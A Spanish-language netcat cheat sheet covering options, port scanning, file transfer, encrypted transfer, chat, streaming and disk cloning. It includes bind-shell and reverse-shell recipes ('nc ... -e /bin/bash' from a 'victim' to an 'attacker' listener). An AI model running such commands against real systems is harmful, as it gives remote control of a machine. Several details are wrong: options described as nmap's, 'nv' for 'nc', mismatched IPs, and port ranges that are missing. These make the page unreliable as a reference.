Netcat

netcat o nc es una utilitario para transmision en redes de datos, especialmente todo lo que tenga que ver con TCP, UDP, o los sockets de UNIX.

Es capaz de establecer conexiones TCP, enviar paquetes UDP, estar a la escucha en puertos TCP y UDP arbitrarios, efectuar escaneo de puertos, y manejar IPv4 e IPv6

Opciones

Opciones Descripcion
-4 Fuerza a usar solo IPv4
-6 Fuerza a usar solo IPv6
-l Escucha conexiones
-v Salida verbosa
-n Desactiva busqueda de DNS en direcciones IP y hostnames
-p Especifica el puerto de origen
-w Indica el valor de timeout
-u Usa UDP en lugar de la TCP
-k Fuerza seguir escuchando despues de desconectar
-z Instruye a nmap a escanear demonios en escucha
-h Muestra la ayuda de nmap
-x Usa nmap con un proxy

Uso

La sintaxis basica de netcat es:

nc opciones host puerto

Escanear puertos y atrapar bandera

Comando Descripcion
nc -zvn 192.168.59.1 Escanea los puertos entre 1 y 100.
nc -zvn 192.168.59.1 Escanea puerto 80, 22 y 443.
nc -zvn 192.168.59.1 80 Solo escanea puerto 80
nc -zvn textp-plano.com 80 Escanea puerto 80 en texto-plano.xyz
nc texto-plano.xyz/~fulana/bandera Toma bandera

Abrir un shell remoto

Podremos abrir una sesion de shell a mano. Para ello, suponiendo que la IP del servidor es 192.168.58.3,

En la maquina de servicio:
nc -nvlp 8888 -e /bin/bash
En la maquina cliente:
nc -nv 192.168.59.3 8888

Abrir un shell inverso

Maquina atacante
nc -nlvp 8888
Maquina victima
nc 192.168.59.3 8888 -v -e /bin/bash

Bajar archivos

Suponiendo que el emisor esta en 192.168.59.3:

En el emisor
nc -lvp 8888 < datos.txt
En el receptor
nv -nv 192.168.59.3 8888 > data.txt

Subir archivos

Suponiendo que el receptor esta en 192.158.59.3:

En el receptor:
nv -lvp 8888 > datos.txt
En el emisor:
nv 192.168.59.3 8888 < datos.txt

Comprimir y transferir

Para transferir directorios por la LAN, puede resultar muy util comprimirlos al enviarlo, y descomprimirlos al recibirlo.

Suponiendo que el emisor esta en 192.168.59.54:

En el emisor:
tar cfp - /respaldos | compress -c | nc 192.168.59.54 8888
En el receptor:
nc -l -p 8888 | uncompress -c | tar xvfp -

Encriptar y transferir

Las transferencias de ficheros usando netcat por defecto no van encriptadas, y cualquiera en la LAN podria capturar los paqueets enviados, de manera que es muy util encirptarlos antes de enviarlos.

Suponiendo que la maquina que envia es 192.168.59.3

En la maquina emisora:
nc -l -p 8888 | openssl enc -d -des3 -pass pass:contrasena > secreto.txt
En la maquina receptora:
openssl enc -des3 -pass pass:contrasena | nc 192.168.59.3 8888

Aplicacion de chat

Podremos practicar lo mas sencillo que es generar una aplicacion de chat sencilla, que permita usar un puerto (8888) para emitir paquetes de texto sin cifrado alguno. Suponiendo que el servidor este en 192.168.59.3

En el servidor:
nv -lvp 8888
En el cliente:
nv 192.168.59.3 8888

Video streaming

Podremos hacer videostreaming, por ejemplo de una pantalla:

En el servidor:
cat video.avi | nc -nvlp 8888
nc 192.168.59.3 8888 | mplayer -vo x11 -cache 3000 -

Clonar unidad de Linux

Esta es una manera util de clonar un sistema de archivos por la red LAN. Asumiendo que la maquina que envia esta en 192.168.59.

En la maquina que envia:
dd if=/dev/sbd | nc -l -p 8888
En la maquina que recibe:
nc -n 192.168.59.3 8888 | dd of=/dev/sdb